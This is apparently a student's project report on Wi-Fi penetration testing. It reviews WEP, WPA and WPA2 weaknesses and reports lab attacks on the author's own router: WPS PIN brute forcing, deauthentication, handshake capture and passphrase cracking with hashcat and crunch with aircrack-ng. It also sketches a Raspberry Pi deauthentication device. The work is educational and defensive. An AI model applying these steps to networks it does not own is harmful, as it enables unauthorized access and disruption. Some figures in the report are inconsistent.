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Abstract:
This project is about the exploring and testing the vulnerabilities in wireless networks that are being used in the modern age to connect the wireless devices. The WPA/WPA2 security standard are investigated to reveal the weak points in network security. The WPA pre-shared key system offers a possible weakness to attack the system. Dictionary attack on WPA/WPA2 protocol and comparison with a more complex password, cracking the password hashes using the GPU’s and CPU’s, the practical chapter contain the screenshot of the process for better understanding. The summary of previously completed projects on this topic by other students from different universities is the part of this report for better understanding of this project. The cyber-attacks and how its related to Wi-Fi networks also explanied.    At the end, the findings of this project practical work clearly stated that even making the small changes of the characters will add hours and hours into cracking process. Wi-Fi is radio signal and radio signal can be received in the given radius with using right equipment’s and tools, which make the question mark on Wi-Fi security but implementing the right security measure and regular update always give user a peace of mind.






Chapters Briefing
 
Chapter 1:
Contains the brief introduction of Wi-Fi and the project aims and goals
Chapter 2:
In the second chapter, the detail literature review of wireless protocols and existing work of this topic is been discussed. 
Chapter 3:
Under the chapter 3, the practical work carried out all experiment and results are explained with screenshots. 
Chapter 4:
Contains the summery of work, final wording and the evaluation. 
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[bookmark: _Toc497995822]Chapter 1

[bookmark: _Toc497995823]Overview:
Wi-Fi is the easy and reliable way to communicate with other devices and connect with internet access point wirelessly within the signal range. Usually, Wi-Fi devices have some authentication methods to avoid unauthorized access unless it's turned off by the administrator. Authentication methods include a pre-shared key or login details etc. Wi-Fi enabled hosts to convert energy into waves to transfer the packet to connected devices or broadcast SSID if the hosts are connected to the internet the connected devices (clients) start using internet thorough connected host. Since the radio waves travel in open air so a hacker can easily see that and break the key, making wireless network secure is much important. Penetration testing of wireless protocols can reveal the security flaws and let admin know the weaknesses of their network. 

[bookmark: _Toc497995824]Introduction:
The first wireless product was invented in 1991 by NCR Corporation with AT&T corporation named as WaveLan, WaveLan were intended to use in cashier system. This system considers as a precursor of WI-FI protocols. In 1997, the first official version of 802.11 was released and the user can get a max transfer rate of 2Mbit/s. After 2 years, this was upgraded with new protocol 802.11b that’s give 11Mbit/s with the secure connection as compared to previous one and get popular among users. [1] Wi-Fi alliance formed a trade association and holds the trademark of Wi-Fi in 1999. Australia engineer took credit to invent this game-changing product. [2]
[bookmark: _Toc497995825]Aims and Goals: 
The main aim of this project is to test and measure famous Wi-Fi protocols and the critical evaluation of available security measures for implementation. The attacks will be carried in lab in the safe environment
The goals are:
1. To set up a lab which able to carry out tests in a safe environment. 
2. To test the Wi-Fi encryption techniques and identify relevant exposures. The attacks will try carry outs are:
1) WPA/WPA2 key crack 
2) Brute force attack
3) DoS (deauth packets)
3. To compare the encryption level of the above tests and list out the suitable one (base on project outcome).


[bookmark: _Toc497995826]Methodology:
The working methodology for this project is the literature review and the personally collecting data from solo practical is being discussed and used. 
The waterfall model of work was implemented to complete the task one by one and avoid any confusion, below is the time plan which help to understand the waterfall model as well. 
Time plan: 
This is certain that every successful project has a proper time plan and working order, to make sure this project finish on time the time plan is below. 
[image: ]
Figure 1 Time Plan
[bookmark: _Toc497995827]Project Type: 
This is an experimental based project, no ethics research is been done. 
[bookmark: _Toc497995828]Introduction to IEEE 802.11
“IEEE 802.11 is a set of media access control (MAC) and physical layer (PHY) specifications for implementing wireless local area network (WLAN) computer communication in the 900 MHz and 2.4, 3.6, 5, and 60 GHz frequency bands”. [3]
After that, there were many other standards announced by IEEE, for defining the communication between two wireless-enabled devices the name of the standard is IEEE 802.11x.




[bookmark: _Toc497995829]Chapter 2
[bookmark: _Toc497995830]Literature review 
[bookmark: _Toc497995831]WEP
WEP stands for Wired Equivalent Privacy. WEP is a security protocol that specified by IEEE as Wi-Fi standard 802.11. It's designed to provide secured Wi-Fi LAN as wired LAN. [4] WEP built on RC4 Encryption algorithm based on 10 hexadecimal that’s 64-bit or 26 hexadecimal that’s 128-bit. [5]. IEEE 802.11 standard gain popularity due to its cost-effectiveness and easy deployment, people start using the hotspot in many public places as well as residential and offices. IEEE 802.11became one of the world largest deploy wireless network. 
[bookmark: _Toc497995832]WEP Cons:
This algorithm has many weaknesses which make WEP an insecure way to connect to the network. In sense of some major disadvantage of using WEP, this algorithm is bit old these days weakness of WEP allows attacker to crack his keys in minutes using readily software’s like “WEP-Attack” and “Fern-WIFI” because WEP use shared key authentication and keep sending his keys with data packets, so every data packet contains the pre-shared key of the network. [6]
Another big disadvantage of using WEP is its big headache for network admin after changing master key it will have to be changed manually on all connected devices. 

[bookmark: _Toc497995833]WEP Pros:
Well after every cons there are some pros as well which make WEP famous and useful back in years. Using WEP security protocol when users see the key requirement its discourage them to connect to the network, this tells the user he’s not authorized on this network unless until he provided the key. [6]
Every wireless device supports the basic encryption of WEP, this can be handy if you try to connect any old device with Wi-Fi. 
[bookmark: _Toc497995834]WEP attacks:
[bookmark: _Toc497995835]The FMS Attack:
WEP attacks all start with IV’s, after getting about 60 IVs attacker can redirect the packets to get full key successfully. 
The FMS attack released in 2001 by Fluhrer Mantin and Shamir, [7] it’s a statistical attack that uses the RC4 weaknesses. The attacker first gets the IV, IV is three bytes of the key per packet. If four our more than four conditions match manipulation of RC4 allows the system to guess the byte of the key. Using vote system, the full key can be guessed and test against the authentication system, [8] if it’s not correct another key can be guessed and this continues. The packet requirement for this attack is 6,000,000 to achieve 50 percent of success [7]
[bookmark: _Toc497995836]Chop Chop Attack:
The chop attack focuses on design flaws in WEP protocol. The weakness of crc32 and checksum and the replay protection. using chop chop method attacker can access the packet without knowing the key, its decrypt the packet after eavesdropping then modify the packet and inject the packet back into the network to generate more traffic and get more information from the network to attack full key recovery attack. Chop chop attack flips the value of CRC32 packet into text and flip back again to keep the validity of packet and then guess the last byte of the packet. This is an ARP type attack. [8]


[bookmark: _Toc497995837]The PTW attack:
In 2007, PTW practical attack was launched by Tews, Weinmann and Pyshkin. [9] This method of attack has two new concepts in attacking strategy. 
1. “All previous correlations used required 2-4 values in S not to change during the remaining RC4-KSA.” [9]
There are many other conditions should be freeze to use this connection, not every packet used to vote for certain key byte. [10]

2. Secondly, attack structure has been changed before key recovery attacks had a tree-based structure which decides and fixes byte per byte. [9] [10]

[bookmark: _Toc497995838]WPA:
WPA stands for Wi-Fi Protected Access. In 2003 Wi-Fi alliance bring the new security protocol named as WPA (Wi-Fi Protected Access). This is a big development in Wi-Fi security system it's basically invented to tackle the serious weaknesses in WEP protocol. WPA system refers to IEEE 802.11. [11]
[bookmark: _Toc497995839]WPA Weaknesses:
According to Guillaume Lehembre, WPA/WPA2 has minor weaknesses in their system although these are not very serious. [12] The question is that statement make WPA faultless and unbreakable? 
We will exam the security protocol of WPA and WPA 2 using real-world scenario to check if users really can rely on wireless networks. 
WPA mainly focus on two mods how payload can protect during transmission and temporal key integrity protocol. [9] TKIP was designed by IEEE802.11i protocol. 
[bookmark: _Toc497995840]Data integrity attacks:	
Data integrity attacks have extreme risk and revelation in many real-world environments, this attack can go undetected and open the confidential data through without leaving footprints. Attackers used passive monitoring and dictionary attack against pre-shared key mode. Rivest Cipher 4 algorithm for packet encryption can be attacked. [13]
[bookmark: _Toc497995841]Pre-shared Key Attacks:
Organizations often use pre-shared keys for authentication, despite using strong encryption techniques. PSKs passphrase usually recommended for home networks or the organizational guest networks. [14] The risk involved in this method is as name resembling its shared secret and one or more users already known. This risk can be handled if passphrase changing set periodically, but its require man force, with this authentication method both client and access point try to verify the PSK without revealing the passphrase information. This process named 4-way handshake. Both client and AP compute PMK (Pairwise-master-key) from the PSK passphrase and the access point SSID, which is then used as a basis to figure the rest of key exchange data. [14]
Another attack on WPA was known as a pre-shared key dictionary attack, this attack used to determine the pre-shared key using common passphrase list. On the users who have their network passphrase form dictionary words and using less than 20 characters this type of attack might succeed. Actually, in this attack, attacker run the long list of words using a known algorithm to generate the pairwise-master-key, then its combine the passphrase SSID length into a string that has been hashed 4096 times.  This key usually based on the 256-bit number or a pass-phrase 8 to 63 bytes long. [12]

[bookmark: _Toc497995842]Rivest Cipher 4 Attack (RC4):
RC4 was originally designed by Ron Rivest in 1987 Security and known as Ron’s Code while he’s working for RSA. [15] In the field of cipher writing rivest cipher 4 also named as ARC4 or ARCFOUR. RC4 is a stream cipher. RC4 known for its simple programming and the swiftness. There are vulnerabilities found in this protocol which lead this cipher towards insecurity. [16]. One of the vulnerability is at the start of the output keystream is not cast-off, or when random keys are not being used. Grim uses of RC4 ran towards very insecure protocol like WEP. [17]. Fluhrer, Mantin and Shamir exam the RC4 and found that the first few bytes of keystream based on patterns which allow detecting the information about the key that been used for encryption. [16] In WPA algorithm increased the Iv for RC4 to 48-bit, and randomly generate the new key for each packet that sent, and cut-off the initial bytes of keystream before using it. [13]. Later some new version of RC4 being announced with more strong encryption method named as RC4 A, and RC4B [15]. Although later version came with add security but using same basic method for encryption so RC4 attacks still useable.    
[bookmark: _Toc497995843]The Hole196 vulnerability:
This vulnerability found by Sohail Ahmed in 2010. Mention on page 196 of the standard paper about 802.11 protocols. This is not really a key recovery attack but it allows the user to bypass the security method and directly connected to a network and became an unauthorised user of the network. Basically, the first attacker forces the connected clients to update their ARP tables by sending ARP request with Mac-address and the IP-address of the access point. So legit clients start sending packets to attackers mac address, attacker receive the packet decrypt them and again encrypt them into own key and forward them to access point, this is kind of man-in-the-middle attack as well because of attacker able to read the packet data as well. This method normally works because of fake packets in shared group key GTK. This vulnerability exploits the WPA2 systems as well. [18] [7]
[bookmark: _Toc497995844]WPA DoS:
Denial of service attack is a famous attack on the services where certain services or the whole system being unavailable to legit users. This can be possible by many ways, for example jamming wireless signal or sending wireless router authentication request with spoof packets. [19] 
[bookmark: _Toc497995845]De-authentication flooding:
WPA has a vulnerability to shut its self-down whenever its detect two packet forgeries from client to access point within the one-second window. [13] In the self-shutdown process the access point disconnect all the users and delete encryption keys, wait for some seconds and then try to reconnect the clients this allow an attacker to get entry into the network and start sending forging packets to access point. If the attacker increases the rate of recurrence of these packets the access point became unavailable for the clients.  This attack is known as De-authentication flooding attack. 
This attack can be defeated up to a certain extent if WPA routers configured with access control list (ACL), this allows the access point to connect only valid clients, again this solution admin work to add mac address into access control list. 
[bookmark: _Toc497995846]RF Jamming:
Radio Frequency (RF) jamming is an old-fashioned denial of services attack, in world war 2 this method been used to disturb the wireless communication between aeroplanes. [20] Wi-Fi routers use radio frequency band to communicate between devices and its open band so using radio signal jamming devices Wi-Fi signals can be disrupted. 
Although this is not possible in all situations, for example, open area networks like a train station or coffee shops this attack can be prevented if the perimeter of the service area is secured. [13]
There are many other attacks which can be performed on WPA network like eavesdropping where attacker listen to the packets on the network (using different tools like Wireshark). Impersonation attack as well where access point force to send false routing information to the clients. [21]  
[bookmark: _Toc497995847]WPA2:
WPA2 is updated version of WPA stands for Wireless Protected access 2. WPA2 is also referring to 802.11i standard. WPA2 has new encryption scheme called AES (advanced encryption standard) which operate on 128-bit cipher which is more secure then rivest cipher 4 because it encrypts the packets using 128, 192 or 256 bits. [13] [11] 
In WPA2 there are some extra security checks added which include CCMP, CCMP has had a programme to rotate the key and take care of message integrity checks (MIC). To keep WPA2 security and encryption level more secure CCMP calculate the MIC on each packet using the algorithm called “cipher Block Chaining Message Authentication Code” (CBC-MAC) [13]. Using a different key for each packet and signal bit produce different MIC making WPA2 stronger than previous protocols. 
WPA2 operate on two modes enterprise and personal, in personal mode is required to use the pre-shared key method to authenticate a user and does not require every user to authenticate separately. The enterprise mode operates on an 802.11x authenticating method which requires every user to authenticate separately.  
[bookmark: _Toc497995848]WPA2 Attacks:
Just configuring the WPA2 on the system is not making the unbreakable there is still weakness in WPA2 which can be exploited. Exploiting the weak passphrase is a most common attack on the WPA2 system. This attack can be performed offline after capturing the handshake packets and decrypt them against dictionary attack or making a combination of words and characters, although this requires plenty of time and processing resources. [7] [18]
[bookmark: _Toc497995849]DoS on WPA2:
Unfortunately, WPA denial of service attacks also works on WPA2 networks, for example, RF jamming and data flooding etc it’s because all Wi-Fi standards work on layer 2 or above, dealing with access point failure is not incapability of Wi-Fi standards. [22]
[bookmark: _Toc497995850]Weaknesses:
Management frames are not protected, these frames report about network topology and client behaviour, so the attacker can guess the layout of the network and perform DoS more efficiently. Packets Deauthentication can be performed which force user to re-authenticate with the access point.
As compare to WPA, WPA2 has one more disadvantage its need more processing power to secure the network. This mostly affects the older access point. 
IEEE 802.1w developed in March 2005 and its responsibility is to protect the management frames in wireless networks. This ability to spot the spoofed management frames and drop them from the network.
[bookmark: _Toc497995851]Portable Wi-Fi Jamming Device:
As per UK law jamming any radio signal is illegal and producing and using such kind of device is not permitted as well until unless authorized by Ofcom. [23] 
The purpose of developing a raspberry pi portable Wi-Fi jamming device is to DE authenticate the unauthorized Wi-Fi users, for example, overloaded coffee shop Wi-Fi users or your home Wi-Fi unauthorized users. 
[bookmark: _Toc497995852]How it works:
Raspberry Pi is a credit card size computer motherboard which can be configured for many things. In this project, raspberry pi will be used as a Wi-Fi jamming device. 
After powering up the raspberry pi with attaching screen and a Wi-Fi dongle. Write an autorun script which sends deauthentication packets to target access point and make it unusable for the users. 
This device can be configured as a remote link for desktop pc, for example capturing the handshake packets from a remote location and crack them on desktop pc. 
[bookmark: _Toc497995853]Network Protection Tools:
Below are some tools which can help to secure and manage the Wi-Fi network more easily or after infected Wi-Fi network how to trace the weak part of the network.
[bookmark: _Toc497995854]Wi-spy Dbox:
Wi-spy is a device which can help to build the secure network as well as help to find the blind spots in the coverage area to improve the network efficiency. This device exam the RF and using its own designated application shows the results. [24]
[bookmark: _Toc497995855]Cisco Wireless Control System Planning Tool:
This tool help to plan and deploy the successful Wi-Fi network, this system has built-in tools to reduces the operational costs, provides the GUI interface to improve the efficiency of the network. This system uses the Cisco Clean Air technology to protect the performance of 802.11n. [25] There are some other network protection tools available in the market to avoid being a victim of Wi-Fi crack.
[bookmark: _Toc497995856]Cyber-attack: 
Cyber-attack is an attempt by an attacker to damage and destroy the computer system and aim to steal personal information. These days computer systems are one of the major parts of our lives the modern business can’t imagine their survival without having the running computer system and they spend a fortune to keep the system alive, this is because of we human ever more dependent on the electronic information. It has made our system to vulnerable for cyber-attack. [26]
[bookmark: _Toc497995857]How its related to Wi-Fi:
Cyber-attack could be possible through Wi-Fi eavesdropping over an insecure network, or attacker can hack the someone’s Wi-Fi first and then use victim network to attack other computers remotely.
In case of corporate Wi-Fi network, compromise attacker can deploy RAT(remote access tool) in the servers and later can access the server remotely and make zombie computer to launch cyber-attack on another corporate network. 
Wi-Fi network is like an entry point to a secure network protection of the Wi-Fi network make sure that attacker has not easily got access to a network.

[bookmark: _Toc497995858]Existing work : 
In the Turku university, applied sciences student Gbolahan Ola did penetration testing on a wireless network in 2013. [27] In his thesis the starting is form basic testing level of Wi-Fi network, which include installation of required application and hardware system and then move to testing phrase where author able to capture network packets and analyse through Wireshark, capturing packets make secure network a bit weak because after de-encryption of  the packets the data can be revealed. While it’s come to actual WPA handshake and cracking key to gain full access to wireless network MR. Gbolahan use dictionary words to crack the passphrase using aircrack-ng. This was a successful attempt to break the Wi-Fi security but limited to dictionary words.  [27]
The same kind of project completed by Martin Daniel at Aalborg University Institute for Electronic Systems as Master thesis, Martin was successful to attack WPA/WPA2 protocols and decrypt the key form handshake, Martin mainly focuses on combining the PPU power and that was a simple processing and dictionary word. [28]
The student named  L’ubom´ır ˇZa´k  from the Comenius University, Bratislava test the WPS on different organizations and in the local lab back in 2012, in the result table the author successfully wrote the minutes it took him to be successful in WPS attack.  [29] after attempting the successful attack on WPS vulnerability the author considers it a small threat to the organization because there are different AP having a solo connection to the internet.






[bookmark: _Toc497995859]Chapter 3

[bookmark: _Toc497995860]Case study:
To set up to a lab which has a victim access point with Wi-Fi communication 2.4Ghz and an attacker computer having a Linux installed, with GPU card to use for hashcat. The access point should support WPS in order to crack WPS key. After attacking the access point taking the screenshot and explaining the working methodology. Listed all results of practical labs and recommend the security measures. 

[bookmark: _Toc497995861]Practical: 
This section contains the information about different attacks being performed on a wireless network, and their vulnerabilities.
[bookmark: _Toc497995862]WPS attack: 
Wi-Fi protected setup was introduced in 2006 by Wi-Fi alliance to help protect and connect the network more securely without entering long passphrases but later in 2011 one vulnerability was point out in WPS single code system which can be exploited within hours using a tool like “reaver” and “pixie dust”.
[bookmark: _Toc497995863]How the reaver works:
Reaver try many hard pins against the WPS pin and brute force the attack, after exploiting the sequence of the pin reaver revel the WPA/WPA2 passphrase, this attack is not very common these days because although routers still supports WPS they set to broadcast when physical button on the router is pressed, or routers locked WPS remote connection if two or more wrong pins tried. Router stetted up for WPS attack using WPA/WPA2 TKIP/AES encryption.[image: ]
[bookmark: _Toc489731370]Figure 2 Router Settings
At first, try to reveal the WPA passphrase using WPS pin cracking method via reaver, this is a live attack. The WPA2 passphrase is set to a common word from dictionary “welcome1”. Above in figure 1 is the screenshot of router security settings. The router in use here is “Belkin double N+”.  The Wi-Fi card attaches to the terminal is TP-LINK TL-WN722N that supports up to 150 MBPS.  WPS is enabled on the particular router and enable the WPS hardware button and allow users to connect to the network using this method. and ESSID is Belkin_N+_34D7D3 which is related to BSSID 00:22:75:34:D7:D3.
Figure 2 is the screens shot of WPS setup [image: ]
[bookmark: _Toc489731371]Figure 3 WPS setup
since terminal, Wi-Fi card is can be verified using “ifconfig” command as you can see in figure 3

[image: ]
[bookmark: _Toc489731372]Figure 4 ifconfig
The wireless interface is named as wlan0. For seeking the available networks and make our Wi-Fi card to inject the packets interface should be transferred into monitor mode. This can be possible by using airmon-ng. 
[image: ]
[bookmark: _Toc489731373]Figure 5 Monitor mode enabled
Airmon-ng start wlan0 command used to start the monitor mode, as it's shown in figure 4.  Wlan0 now named as wlan0mon.
There are some services running in the background which might cause a problem in future, these services can be killed using “kill <PID number>”. This can kill all the process, DHCP client refuses to be killed which leave it as it is. 

Once Wi-Fi card in monitor mode its ability to scan the WPS networks in range, the command being used to start scanning is in figure 5 below. Wash is a WPS scanning tool.
[image: ]
[bookmark: _Toc489731374]Figure 6 wash scanning WPS 
As seen in figure 5 we have one available WPS network as it’s our own private lab. This network is operating on channel 6 and WPS is not locked. 
At this point target access point broadcast enough information to carried out the attack. Reaver is started to attack the AP. 
[image: ]
[bookmark: _Toc489731375]Figure 7 reaver started
-i = interface
-b mac address access point
-d delay in seconds before trying the next pin
-vv verbose 

After press the enter its start communicating with access point shown in figure 7. 
[image: ]
[bookmark: _Toc489731376]Figure 8 reaver response
After trying first sequence router blocked the WPS and refuse to identify the request.  With this method, I consider this is a failed attack to reveal the pin. 


[bookmark: _Toc497995864]WPA/WPA2 handshake attack (GPU):
To carry out further attacks the next attack in our list is handshake packets capturing. 
[bookmark: _Toc497995865]How it works:
A dictionary attack is one of the most famous and easy attacks that can be performed on poorly design passwords of wireless networks, the success rate in a real-world environment is less. It depends on computing power and the dictionary. If this attack is successful in one area of the world probably that dictionary has zero success rate in any other language speaking zone. 
In this lab, I set a common word as a network password “welcome1” . in this attack the handshake packets between the router and the already connected client will be captured and then decrypt the packets to reveal the pre-shared key.  This attack will be only success full if the targeted router already has at least one connected client. 
The Same lab is being utilised using same Wi-Fi cards and wireless router as mention above. To start searching for WPA/WPA2 networks. 
[image: ]Figure 9 airodump-ng starts


Airodump-ng search for available networks and wlan0mon is wireless interface card in monitor mode. Using this command the Wi-Fi card start capturing the available information in surroundings networks, and the screen appears similar to figure 9.

[image: ]
Figure 10 available wireless networks
Our targeted network is highlighted as yellow. BSSID 00:22:75:34:D7:D3  operating on channel 6, ESSID Belkin_N+_34D7D3.
Before moving to next step give airodump-ng enough time to collect beacons and data to support the process otherwise, it won't communicate. The time elapsed is 20 min and collected nearly 1400 beacons and 122 data.  Beacons are the frames that periodically advertise the presence of the network.
Issuing the following command will start capturing the handshake packets.
[image: ]
Figure 11 handshake capturing request
-c =channel number
-w = instruction to write the local file named any
--bssid = bssid of targeted network
At the end mentioned the Wi-Fi interface name. 


Now airodump will start to wait for handshake packet on given bssid  either wait for any client to reconnect by itself with access point or force them to reauthenticate their passphrase  with router, to speed up the process and avoid any suspicious behaviour I did reauthenticate only one client despite the fact that for testing purpose I have only one client connected with router. 
[image: ]
Figure 12 Deauth packets

Most routers don’t verify the Deauthentication packets, after receiving the request the access point honours it as legit packets which leave the attacker with exploitation point 
After wait for few minutes, the Deauthentication attack successfully deauthenticate the client and the client reauthenticate his self with the access point, to exploit that weakness the airodump-ng process with the file name WifiMajorPro has been started. 
[image: C:\Users\masro\AppData\Local\Microsoft\Windows\INetCache\Content.Word\12 handshake captrd.png]
Figure 13 successfully handshake captured
With the WPA2 configuration, it took 27 mins to capture the handshake file. 


Cracking the handshake file to reveal the Wi-Fi passphrase is the stressful process for the processor as it requires a lot of processing power to finish the task on time. In the modern day's computer, there are powerful video graphic cards to support up to date video requirement, the GPU is a lot faster as compared to CPU, so to crack this file the GPU is being utilized through “hashcat”. 
After downloading and installation of hashcat on windows client [image: C:\Users\masro\AppData\Local\Microsoft\Windows\INetCache\Content.Word\13 hashcat packet downloads.png]
Figure 14 hashcat versions

The hashcat is intelligent enough to decide to use the most powerful processor in or more than one sync for the same process from the given processors in the system. To start hashcat process below is the sequence of commands was initiated in cmd.[image: C:\Users\masro\AppData\Local\Microsoft\Windows\INetCache\Content.Word\14 hashcat.png] Figure 15 the hashcat intiating

In testing lab, windows host has a GPU processor so it's better to run this tool on cmd. The GPU was GTX 1060. After few minutes the hashcat was successful to found the key.
The running process of hashcat is below
[image: C:\Users\masro\AppData\Local\Microsoft\Windows\INetCache\Content.Word\15 hashcat process start.png]
Figure 16 the hashcat started

As it's above it took only a few minutes to find the key for the captured handshake file from the given dictionary. 
[image: C:\Users\masro\AppData\Local\Microsoft\Windows\INetCache\Content.Word\16 hashcat caputred the password.png] At the right corner of above picture, the captured password is highlighted with yellow. 
The hashcat was run for 9 mins and 39 seconds and scan the 98304002 keys.  The experiment took less than half an hour to crack the key having the simple dictionary 8 letter character, again this kind of attack is a relay on the dictionary the more vast the dictionary is the more chances to get successful and depends on different areas of the world speaking different languages. 
[bookmark: _Toc497995866]WPA Handshake (CPU) 
The changes were made in passphrase is just the rearrange the alphabet order using the same word. The passphrase is “ecoclew1”.

[image: ]Figure 17 changing the pre-shared key 







After making the changes in pre-shared key. Using the same method the handshake packets was captured and named as “wpahandshake2-01”. 



Now the next is two option one is to create own powerful dictionary using crunch and then later do the dictionary attack, below is the screenshot of crunch dictionary, using mask system and keep the processing time low the matching characters with the pre-shared key is being set to create the dictionary. 
[image: ]
Figure 18 start crunch to create the wordlist
After hitting the enter button its start creating the huge number of words and the storage space required is around 2 TB. 

[image: ]
Figure 19 Crunch Process
As you can see in figure 19 The number of lines is “282429536481”. And expected required space is 2367 MB. This process needs a long time to complete and after that, the dictionary attack will take huge time to process the long word list. 
The solution was to merge both tools to work together, this can save the storage requirements. 
To pipe both programme “crunch” and “aircrack-ng” used the “|” symbol, this allows them to create the word and try against the handshake packet at the same time. 
After starting the process expecting completion time was 4 days, this time is much longer than that if all possible characters where included in crunch process but to keep it simple the only small letters of English is used for the process. 

[image: ]
Figure 20 crunch and aircrack result
Luckily after 56 mins and 43 seconds of the processing system found the key.  This time is variable depends on system speed and the crunch process order. This process was done by 2core CPU i7, with 4gb ram. The key testing speed was 4123.14 k/s. 

[bookmark: _Toc497995867]Recommendations:
The protection of Wi-Fi network is necessary as the Wi-Fi itself, as you can see in above experiment making the small changes in passphrase lead the break-in process very difficult and lengthy, it’s really necessary to have a strong and complex password. 
To keep the Wi-Fi network secure try to use the unfamiliar SSID this can help to prevent ease of identification of network because hackers always try to use the network as a target which is easily identifiable. 
The SSID can be set to hidden mode if only a few devices using the Wi-Fi network connect them manually and set SSID broadcast to no. Hidden SSID take longer to identify as compared to visible one, but still using right tools the hidden networks can also be exploited.  Using the complex password take longer to crack, which is one step towards demotivation of the attacker. 
Physical security is very important for a network, mostly AP have the reset button at the back after pressing that button AP went back to the factory settings where it’s easy for an attacker to crack the passphrase. Try to use vendor physical locking system to prevent the access to AP ports and buttons, and always mount the access point out of easy reach.
For companies, Wi-Fi network always uses WPA/WPA2 enterprise mode this allows every individual user to authenticate with the network using their own username and password. Later if the employee left the company or for any reason revoke individual access to the network is easily possible for network admin. 
802.1x settings have vulnerability where attacker can make a rough AP and sitting near to the corporate office when user tries to connect to rough AP using their username and password the attacker can steal that information and then connect with original network using the same personal details this issue can be solved if server verification is implemented, before sharing the login credential the client verifies the server using their unique identification system.
If the IEEE make rules which stated that using better security features is necessary or having a strong password is compulsory for closed networks, this can help people to be victim of an attack
Recently a new vulnerability in Wi-Fi network is popup known as KRACK, using this vulnerability attacker cannot access to Wi-Fi key but the unencrypted data can be read, and using packet injection the attacker can get a hold on the information [30]. To avoid this attack try to encrypt data with https or using any VPN services. 
In companies, Wi-Fi jammers can be installed on the walls and door which not allowed signals to travel outside the building and installed physical filtration so only authorised person can come inside the building. The home users instead of using one long range router at home which makes signal travellers outside the house for miles use multiple short-range access point in every room and try to design the location of the access point to keep the signal inside the house. This method is not hundred percent works against hacker but still, this avoids to give your network identification to one who just passing by your house, and also limiting the number of devices on the Wi-Fi connection and set up router as sticky mac address will prevent a new users to make connection, this method is bit hassle when require to add the new device. 



[bookmark: _Toc497995868]Chapter 4:
[bookmark: _Toc497995869]Evaluation
Before the start of this project there was the main problem known as The overachiever problem which I faced too, selecting the topic and the understanding of the subject was the difficult task to do, selecting the topic that unrealistically large for solo project so keep it low profile to complete in timely manners,   work on this topic already be done by different students from around the world,( the details in the report above) having different approach towards the same topic and giving the results in timely manners was one of the major issue, after finalizing the topic once I started the study about it, at that point I had lack of motivation because that topic is so vast and its really easy to get distracted from the topic, with the consultancy of my supervisor I made the work plan and limitation of topic to work on, thanks to my teachers and fellow students for motivation to complete and work.
The given topic is for to test the WPA security measure and show the importance of having complex passwords, In today modern age more devices use wireless connectivity to as compare to a few years back, according to Wi-fi.org by the end of 2016, 16 billion devices were ships around the world having Wi-Fi alliance logo. [31] The reason behind the popularity of wireless communication is its more convenient and hassle of wires can be avoided easily. A large number of devices means more people use and security of their data is a necessity to break into a wireless network is easy as compared to the wired network for the wired network physical access to network wires is necessary but for the wireless network, the signal can be captured form well away using powerful antenna etc. The importance of having better and secure authentication method with a strong password is the basic outcome of this project.
Another challenge is to have the system which has reasonable processing speed to support the process, setting up and buying the equipment for the minilab to work in safe environment. 
The “Do It Tomorrow” Problem was also a big challenge at the start of this project it looks like there is huge time to complete the task but after discussion with project supervisor, I did follow the time plan to complete the project timely.
The Gant chart for this project is one of the important aspects of work structure, The start date of this project is 15 July and the end date is 08 of November the total days of 114 was given to this project, the first 45 days from 15 July to 31 Aug was allocated to practical work to do some experiment and collect the results, the reason to do this at first is the whole project report based on practical work.  The next task is to write the final report including literature review and explained the attacks, last 24 days are allocated to review and finalize the project findings and submit for final marking. 
While doing this project the things I learned will definitely help me in my future, for example project management skills and making the time plan for small and big tasks and completing those tasks according to time plan. This help to rectify my own mistakes as well, and during this project I failed at my first task which give me the motivation of doing it again in better way. Also by writing this report the writing skills is being utilised and improved. The new software and tools learned for example hashcat, aircrack-ng, crunch and the use of Linux operating system will help me in the future to have better understanding of command line interface based tools. The understanding of Linux operating system give positive mark on my qualification. Parallel with this degree I been doing cisco CCNA exams as well which will a lot helpful during my studies and later in the job market. 


[bookmark: _Toc497995870]Future works: 
In the future, I want to attack an enterprise level network (safe lab) and list out the possible attack methods and vulnerabilities. Making the WPA authentication method better to overcome the handshake captured vulnerability. The KRAcK vulnerability [30] is also under consideration for future work which can be tackled if all packets on Wi-Fi network encrypted in end-to-end encryption. 
[bookmark: _Toc497995871]Conclusion: 
At the end, the whole project reflects that how important is to have better security measures implemented. Wireless networking is a most valuable aspect of information technology sector most of the newer devices use Wi-Fi to communicate with other devices. Numerous methods to compromise the wireless network are spreading around on daily basis, this is because of people interest in wireless hacking etc, people should adobe encryption techniques like VPN etc while they connected with open network because it’s easy for an attacker to do man-in-the-middle attack to steal the information, network owner should change their passphrase occasionally to get rid of unwanted users. This work in only for educational purpose and not meant to be a guide to attack real network. In an ideal world having iron proof security which cannot allow any kind of break in and lock down the network and give access only to authorised users, but the issue is we are not living in that world, there is always a security loophole and it can be protected by continuously research work and updating system. 
In the practical chapter of this report, it clearly shows it’s not a very difficult task to hack the wireless system if proper security measures did not take place even just scrambled the same password add an extra hour to crack it. Using right tools and powerful system against secure network make them vulnerable. 
WPS attack wasn’t successful because the today's routers are intelligent after few wrong tries the router auto stop any more request from that mac address. 
The attack on WPA protocol was successful and I was able to crack the key in an hours the dictionary attack took less time because the hashcat use the GPU to process the request, and the air crack-ng method was successful too but its require more human intelligence to work properly the passwords made by human and human nature mostly goes for easy way to their designed passwords, these methods looks unrealistic against lengthy and well-designed passwords which include characters from alphabetical, symbol, figures which took a long time and more processing power to crack. 
As I mention in my future work my aim to develop an algorithm to revoke the handshake capturing process and make users change their passwords regularly. 
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Step No Tasks Duration | Start Date | End Date

Total Duration 114 | 15-ul
10 | Writing Fianl Report 45 days| 01-Sep | 15-Oct
10.1 | Practical Screeshot explaining 25 days. 01-Sep | 25-Sep

10.2 |writing the penteration process |20days | 25-Sep| 15-Oct

11 |Review and Finalize findings |24 days| 16-Oct | 08-Nov

11.1[ list down all findings and explain |8 days 16-Oct| 24-Oct]

11.2|Review the whole report 5 days 25-Oct|  30-Oct|

11.3|Submission week 9 days 31-Oct| 08-Nov|
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Wireless > Wi

Protected Setup (WPS)

Wi-Fi Protected Setup (WPS)
WPS hardware button

Wi-Fi Protected Setup (WPS) is the industry standard method to simplify the security setup and
management of the Wi-Fi networks. You now can easily setup and connect to a WPA-enabled 802.11
network with WPS-certificated devices using either Personal Information Number (PIN) or Push Button
Configuration (PBC) method.Legacy devices without WPS can be added to the network using the
traditional manual configuration method
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1)Personal Information Number (PIN) Method

Enter the PIN from the client device and click "Enroll. Then start WPS on the client device from it's
wireless utiity or WPS application within 2 minutes.

Enter Client Device PIN — Enrol
